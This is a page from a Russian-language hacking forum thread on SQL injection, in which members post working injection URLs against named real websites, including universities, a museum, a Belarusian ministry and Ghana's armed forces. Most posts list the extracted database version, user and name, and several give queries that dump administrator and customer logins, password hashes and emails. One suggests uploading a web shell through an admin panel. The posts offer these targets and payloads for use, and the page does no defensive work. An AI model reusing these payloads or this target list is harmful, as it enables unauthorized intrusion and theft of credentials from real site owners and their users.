ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу SQL Инъекции
   
Ответ
Страница 1222 из 1242 « Первая < 222722112211721212 1218 1219 1220 1221 1222 1223 1224 1225 1226 1232 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #12211  
Старый 20.05.2010, 20:24
Аватар для Rubaka
Rubaka
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973

Репутация: 466
Отправить сообщение для Rubaka с помощью ICQ
По умолчанию
http://www.igert.neu.edu/profile.php?pid=-16+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12


Database Version: 5.0.77-log
Database name: igert
User name: igert@localhost
 
Ответить с цитированием

  #12212  
Старый 20.05.2010, 21:28
Аватар для pinch
pinch
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530

Репутация: 54
По умолчанию
http://www.rom.on.ca/programs/lectures/index.php?ref=showinfo&program_id=-5507+UNION+SELECT+1,GROUP_CONCAT(AES_DECRYPT(AES_E NCRYPT(COLUMN_NAME,1),1)),3,4,5,6,7,8,9,10,11,12,1 3,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29, 30,31,32+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TAB LE_NAME='romcart_users'%23
 
Ответить с цитированием

  #12213  
Старый 20.05.2010, 22:01
Аватар для Konqi
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию
http://www.uk.playright.dk/firma.php?id=-14+union+select+1,concat(user,char(58),password),3 ,4,5,6,7,8,9,10,11,12+from+mysql.user
 
Ответить с цитированием

  #12214  
Старый 20.05.2010, 22:48
Аватар для AC//DC
AC//DC
Познающий
Регистрация: 28.07.2009
Сообщений: 98
Провел на форуме:
247684

Репутация: 136
По умолчанию
Код:
http://myaso-portal.ru/news_records_view.php?id=-3458+and+1=2+union+select+1,concat_ws(0x3a,user,pass),3,4,5,6,7,8,9,10+from+userlist+limit+1,1--
http://myaso-portal.ru/admin/
можно попробовать залить шелл
 
Ответить с цитированием

  #12215  
Старый 21.05.2010, 16:56
Аватар для Konqi
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию
MS_access

http://www.ohiocampuscompact.org/page.cfm?ID=-181+union+select+1,2,3,4,5,6,7,8,9+from+pagetext1

PR-5

---------------------------------------------
http://www.jnht.com/heritage_site.php?id=-289+union+select+1,2,concat_ws(user(),version(),da tabase(),@@version_compile_os),4,5,6,7,8,9,10,11,1 2,13,14,15,16,17--

PR-6

---------------------------------------------
http://www.sadarvuga.com/php/project.php?id=-59+union+select+0,group_concat(username,char(58),p assword)+from+users

PR-4
--------------------------------------------

http://www.gemidiriya.com/news_view.php?record_id=-1+union+select+1,2,aes_decrypt(aes_encrypt(concat_ ws(char(32),user(),version(),database(),@@version_ compile_os,@@datadir),1),1),group_concat(table_nam e),5,6+from+information_schema.tables+where+table_ schema=CHAR(103,97,109,97,110,101,103,95,119,101,9 8,100,98)

PR-4
-------------------------------------------
http://www.buyabans.com/subcats.php?range_id=2&cat_id=-25+union+select+concat_ws(user(),version(),databas e(),@@version_compile_os)&subcat_id=41

PR-5
Последний раз редактировалось Konqi; 22.05.2010 в 20:56..
 
Ответить с цитированием

  #12216  
Старый 22.05.2010, 22:25
Аватар для daniel_1024
daniel_1024
Участник форума
Регистрация: 15.07.2009
Сообщений: 158
Провел на форуме:
698831

Репутация: 34
По умолчанию
PR 6
ТИЦ 110
Цитата:
http://www.ecoculture.ru/ecolibrary/article.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10--
Version = 4.1.20
Current User = libsites@localhost
Current Database = ecoculture_db01

PR 6
ТИЦ 40
Цитата:
http://vmo.rgub.ru/policy/article.php?id=1+union+select+1,2,3,4,5,6,7,8,9,10 ,11,12--

Version = 5.1.37-1ubuntu5.1
Current User = root@localhost
Current Database = vmo_db01

PR 5
ТИЦ 120
Цитата:
http://www.radiotec.ru/catalog.php?cat=jr14&art=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17--
Version = 5.0.90-community
Current User = radiotec_raduser@localhost
Current Database = radiotec_mainbase


PR 5
Цитата:
http://www.prsn.uprm.edu/English/Informe_Sismo/myinfoGeneral.php?ID=2010010522363609+and+1=0+unio n+select+0,1,2,3,4,5,6,7,8,9,10,11,12--
Version = 5.1.42
Powered by = PHP/5.3.1
Current User = webmysql@localhost
Current Database = dbase_tsunami

PR 8
Цитата:
http://www.polimi.it/index.php?id=3517&tx_wfqbe_pi1%5Bid%5D=6309+and+1= 0+union+select+0,1,2,3,4,5,6--
Version = 5.0.85-log
Powered by = PHP/5.2.13
Current User = polimi@localhost
Current Database = polimi
Последний раз редактировалось daniel_1024; 22.05.2010 в 22:32..
 
Ответить с цитированием

  #12217  
Старый 22.05.2010, 23:12
Аватар для aka_zver
aka_zver
Постоянный
Регистрация: 17.09.2009
Сообщений: 775
Провел на форуме:
3132379

Репутация: 1069


Отправить сообщение для aka_zver с помощью ICQ Отправить сообщение для aka_zver с помощью AIM Отправить сообщение для aka_zver с помощью MSN Отправить сообщение для aka_zver с помощью Yahoo
По умолчанию
Сайт: http://iksz.hu
ТИЦ: 0
PR: 4
Пример запроса:
Код:
http://iksz.hu/rateit.php?id=999'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
version - 5.0.81-log
user - iksz@web.jail
database - iksznews
os - portbld-freebsd7.0

============================================

Сайт: http://jjc.yangtzeu.edu.cn
ТИЦ: 0
PR: 4
Примеры запросов:
Код:
http://jjc.yangtzeu.edu.cn/list.php?typeid=-2+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),4,5,6,7--+  

http://jjc.yangtzeu.edu.cn/list.php?typeid=-2+union+select+1,2,group_concat(uname,0x3a,pwd,0x3a,email),4,5,6,7+from+jjc_admin--+
version - 5.0.45-community-nt-log
user - root@localhost
database - jjc
os - Win32

============================================

Сайт: http://www.stedenbandeindhoven.nl
ТИЦ: 0
PR: 4
Пример запроса:
Код:
http://www.stedenbandeindhoven.nl/module.php?ID=68+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
version - 5.0.81-log
user - chinandega_u@localhost
database - chinandega_splace
os - pc-linux-gnu

============================================

Сайт: http://www.countryclub.at
ТИЦ: 10
PR: 3
Пример запроса:
Код:
http://www.countryclub.at/v2/module.php?id=-42'+union+select+1,2,3,4,5,6,7,8,9,10,11,group_concat(0x0b,username,0x3a,password),concat_ws(0x0b,version(),user(),database(),@@version_compile_os),14,15,16,17,18,19+from+access--+
version - 5.0.45
user - countryclub_at@localhost
database - countryclub_at_-_db1
os - redhat-linux-gnu

============================================

Сайт: http://www.imaculadanet.com.br
ТИЦ: 0
PR: 1
Пример запроса:
Код:
http://www.imaculadanet.com.br/site/eventos.php?id=-7+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,table_name),5,6+from+information_schema.tables--+
version - 5.0.51a-24+lenny3-log
user - site_www@localhost
database - www
os - debian-linux-gnu

============================================

Сайт: http://xcc.paragliding.pl
ТИЦ: 0
PR: 1
Примеры запросов:
Код:
http://xcc.paragliding.pl/module.php?id=26&contest=PL&l=pl&date=20090606&competitorid=-100964+union+select+1,2,3,4,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33--+  

http://xcc.paragliding.pl/module.php?id=26&contest=PL&l=pl&date=20090606&competitorid=-100964+union+select+1,2,3,4,group_concat(0x0b,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+from+information_schema.columns+where+table_name=0x70687062625F7573657273--+
version - 5.0.26
user - web16@localhost
database - xcc_2009
os - suse-linux-gnu

============================================

Сайт:
Код:
http://www.ondernemersparlement.nl  
он же  
http://www.onlineparlement.nl  
он же  
http://www.webocratics.com
ТИЦ: 0
PR: 0
Примеры запросов:
Код:
http://www.ondernemersparlement.nl/module.php?ID=5180+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+  

http://www.onlineparlement.nl/module.php?ID=999+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+  

http://www.webocratics.com/module.php?ID=999+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
version - 5.0.81-log
user - webocratic_u@localhost
database - webocratic_splace
os - pc-linux-gnu

============================================

Сайт: http://www.terranet-berlin.de
ТИЦ: 0
PR: 0
Пример запроса:
Код:
http://www.terranet-berlin.de/dias/module.php?id=-44+union+select+1,2,3,4,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),6,7,8,9--+
version - 4.0.27-max-log
user - dbo128602669@212.227.118.34
database - db128602669
os - pc-linux-gnu

============================================

Сайт: http://www.beoordeelmijndocent.nl
ТИЦ: 0
PR: 0
Пример запроса:
Код:
http://www.beoordeelmijndocent.nl/module.php??moduleID=77&menuID=1913+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
version - 5.0.32-Debian_7etch12-log
user - bmd@localhost
database - bmd
os - pc-linux-gnu

============================================

Сайт: http://data.weetmeer.nl
ТИЦ: 0
PR: ?
Пример запроса:
Код:
http://data.weetmeer.nl/module.php?ID=68565+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
version - 5.0.81-log
user - weetmeer_beta@localhost
database - weetmeer_beta
os - pc-linux-gnu

============================================

Сайт: http://ifs.rz.tu-bs.de
ТИЦ: 0
PR: ?
Пример запроса:
Код:
http://ifs.rz.tu-bs.de/module.php?id=49&action=download&fileid=-18'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
version - 5.0.45
user - de@localhost
database - de
os - redhat-linux-gnu
 
Ответить с цитированием

  #12218  
Старый 23.05.2010, 13:23
Аватар для wildshaman
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062

Репутация: 1550


Отправить сообщение для wildshaman с помощью ICQ
По умолчанию
Министерство связи и информатизации республики Беларусь
http://www.mpt.gov.by/new/modules/fotoar/index.php?sub&id=13+and+substring(version(),1,1)=4
Четвертая версия мускула, на union фильтр
 
Ответить с цитированием

  #12219  
Старый 23.05.2010, 15:33
Аватар для aka_zver
aka_zver
Постоянный
Регистрация: 17.09.2009
Сообщений: 775
Провел на форуме:
3132379

Репутация: 1069


Отправить сообщение для aka_zver с помощью ICQ Отправить сообщение для aka_zver с помощью AIM Отправить сообщение для aka_zver с помощью MSN Отправить сообщение для aka_zver с помощью Yahoo
По умолчанию
Сайт: http://www.informatikcenter.de
ТИЦ: 10
PR: 3
Пример запроса:
Код:
http://www.informatikcenter.de/redaktion/download.php?id=57'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+&type=file
version - 5.0.51a-24+lenny3
user - IN-06030001@localhost
database - IN-06030001
os - debian-linux

============================================

Сайт: http://www.oldrelics.com
ТИЦ: 0
PR: 3
Пример запроса:
Код:
http://www.oldrelics.com/cms.php?id=-6+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,login_id,0x3a,password)+from+relics_admin--+
version - 5.0.91-log
user - custom_new@68.178.254.164
database - custom_new
os - unknown-linux-gnu

============================================

Сайт: http://www.pmaoakridge.com
ТИЦ: 0
PR: 3
Пример запроса:
Код:
http://www.pmaoakridge.com/news_events_detail.php?news_events_id=-87+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,5,6--+
version - 4.1.24-max-log
user - cayote55@208.109.14.112
database - cayote55
os - redhat-linux-gnu

============================================

Сайт: http://fuchsschafzucht-wechselberg.de
ТИЦ: 0
PR: 1
Пример запроса:
Код:
http://fuchsschafzucht-wechselberg.de/cms.php?id=5+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
version - 5.0.32-Debian_7etch11-log
user - fuchsschafzucht@srv45.one.com
database - fuchsschafzucht
os - pc-linux-gnu

============================================

Сайт: http://www.kgmotorsport.com
ТИЦ: 0
PR: 1
Примеры запросов:
Код:
http://www.kgmotorsport.com/cms.php?id=-4'+union+select+1,2,3,group_concat(0x0b,login_id,0x3a,password,0x3a,email),5,6,7,8,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),10,11+from+sysadmin--+  

http://www.kgmotorsport.com/cms.php?id=-4'+union+select+1,2,3,group_concat(0x0b,login,0x3a,password,0x3a,email),5,6,7,8,now(),10,11+from+customers--+
version - 5.0.89-community
user - web161-kgmotor@localhost
database - web161-kgmotor
os - pc-linux-gnu

============================================

Сайт: http://www.chisca.ca
ТИЦ: 0
PR: 0
Пример запроса:
Код:
http://www.chisca.ca/cms.php?id=-18'+union+select+1,2,3,4,unhex(hex(concat_ws(0x0b,version(),user(),database(),@@version_compile_os))),6,7,8,9--+
version - 4.1.18-nt
user - chiscacarl_71463@216.10.251.120
database - chiscanew_71463
os - Win32

============================================

Сайт: http://www.homesurveysolutions.com
ТИЦ: 0
PR: 0
Пример запроса:
Код:
http://www.homesurveysolutions.com/cms.php?ID=-12'+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,group_concat(0x0b,table_name),6,7,8,9+from+information_schema.tables--+
version - 5.0.89-community
user - web247-hss@localhost
database - web247-hss
os - pc-linux-gnu
 
Ответить с цитированием

  #12220  
Старый 24.05.2010, 21:06
Аватар для Konqi
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию
Вооруженные силы Гана

http://www.gaf[antigoogle].mil.gh/index.php?CatId=80+and+1=0+union+select+1,2,3,4,5, 6,7,8,9,10,11,12,13,14,15--

user() : dbo156151652@212.227.119.15

version() : 4.0.27-max-log

database() : db156151652

OS : pc-linux-gnu

PR - 5

админка
Последний раз редактировалось Konqi; 24.05.2010 в 21:43..
 
Ответить с цитированием
Ответ
Страница 1222 из 1242 « Первая < 222722112211721212 1218 1219 1220 1221 1222 1223 1224 1225 1226 1232 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ